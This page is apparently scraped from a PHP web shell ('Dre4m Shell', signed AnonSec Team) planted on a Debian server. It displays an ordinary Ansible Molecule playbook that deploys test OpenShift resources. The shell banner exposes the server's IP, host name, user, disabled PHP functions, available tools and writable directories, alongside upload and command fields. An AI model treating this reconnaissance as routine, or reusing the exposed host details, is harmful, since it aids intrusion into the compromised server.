Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.17.176.234
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible_collections/community/okd/molecule/default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/python3/dist-packages/ansible_collections/community/okd/molecule/default/converge.yml
---
- name: Converge
  hosts: localhost
  connection: local
  gather_facts: no
  vars:
    ansible_python_interpreter: '{{ virtualenv_interpreter }}'
  vars_files:
    - vars/main.yml
  tasks:
    # OpenShift Resources
    - name: Create a project
      community.okd.k8s:
        name: testing
        kind: Project
        api_version: project.openshift.io/v1
        apply: no
      register: output

    - name: show output
      debug:
        var: output

    - name: Create deployment config
      community.okd.k8s:
        state: present
        name: hello-world
        namespace: testing
        definition: '{{ okd_dc_template }}'
        wait: yes
        wait_condition:
          type: Available
          status: True
      vars:
        k8s_pod_name: hello-world
        k8s_pod_image: python
        k8s_pod_command:
          - python
          - '-m'
          - http.server
        k8s_pod_env:
          - name: TEST
            value: test
        okd_dc_triggers:
          - type: ConfigChange
      register: output

    - name: Show output
      debug:
        var: output

    - vars:
        image: docker.io/python
        image_name: python
        image_tag: latest
        k8s_pod_image: python
        k8s_pod_command:
          - python
          - '-m'
          - http.server
        namespace: idempotence-testing
      block:
        - name: Create a namespace
          community.okd.k8s:
            name: '{{ namespace }}'
            kind: Namespace
            api_version: v1

        - name: Create imagestream
          community.okd.k8s:
            namespace: '{{ namespace }}'
            definition: '{{ okd_imagestream_template }}'

        - name: Create DeploymentConfig to reference ImageStream
          community.okd.k8s:
            name: '{{ k8s_pod_name }}'
            namespace: '{{ namespace }}'
            definition: '{{ okd_dc_template }}'
          vars:
            k8s_pod_name: is-idempotent-dc

        - name: Create Deployment to reference ImageStream
          community.okd.k8s:
            name: '{{ k8s_pod_name }}'
            namespace: '{{ namespace }}'
            definition: '{{ k8s_deployment_template | combine(metadata)  }}'
          vars:
            k8s_pod_annotations:
              "alpha.image.policy.openshift.io/resolve-names": "*"
            k8s_pod_name: is-idempotent-deployment
            annotation:
              - from:
                  kind: ImageStreamTag
                  name: "{{ image_name }}:{{ image_tag}}}"
                fieldPath: 'spec.template.spec.containers[?(@.name=="{{ k8s_pod_name }}")].image}'
            metadata:
              metadata:
                annotations:
                  image.openshift.io/triggers: '{{ annotation | to_json }}'

Anon7 - 2022
AnonSec Team